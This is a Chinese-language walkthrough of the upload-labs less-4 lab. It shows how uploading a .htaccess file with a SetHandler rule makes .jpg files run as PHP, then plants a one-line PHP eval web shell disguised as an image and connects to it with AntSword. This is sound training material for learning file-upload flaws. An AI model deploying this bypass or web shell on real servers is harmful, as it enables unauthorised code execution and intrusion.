.htaccess文件

htaccess 在站点的根目录下面,不是在apache目录下,但是它属于apache的一个配置文件

htaccess文件时Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能

其中.htaccess文件内容:SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错

http.conf文件(前提条件)

在此文件中设置 AllowOverried All ,才能使用.htaccess文件
请添加图片描述

利用htaccess文件getshell

实验环境:upload-labs 的 less-4

下载地址:https://github.com/c0ny1/upload-labs

如果在一个黑名单中添加了很多后缀名,唯独没有对htaccess过滤,可以直接上传.htaccess来设置使用php解析任意文件。

<FilesMatch "\.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

源码分析

对php,asp,jsp等进行过滤,大小写的方式也不行

但是可以上传.jpg文件,可是 .jpg只有解析成 php文件才能getshell

因此我们需要先上传 .htaccess 文件,然后再上传 .jpg文件
请添加图片描述

创建.htaccess文件

在本地创建一个.htacces文件,输入以下内容,**然后点击另存为,将保存类型设置为所有文件

请添加图片描述

上传.htaccess文件

由于没有对.htaccess文件进行过滤,因此我们可以上传.htaccess文件

上传一句话木马

保存为 stack.jpg 文件

<?php eval($_POST['a']); ?>

获取绝对路径

通过burpsuite抓包的方式得到上传的路径:http://127.0.0.1/upload-labs-master/upload/stack.jpg

做法如下:

  1. 点击response to this reuqest ,再点击forword,得到响应包

请添加图片描述2. 观察响应包的内容
请添加图片描述这样就得到了绝对路径

蚁剑getshell

请添加图片描述

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐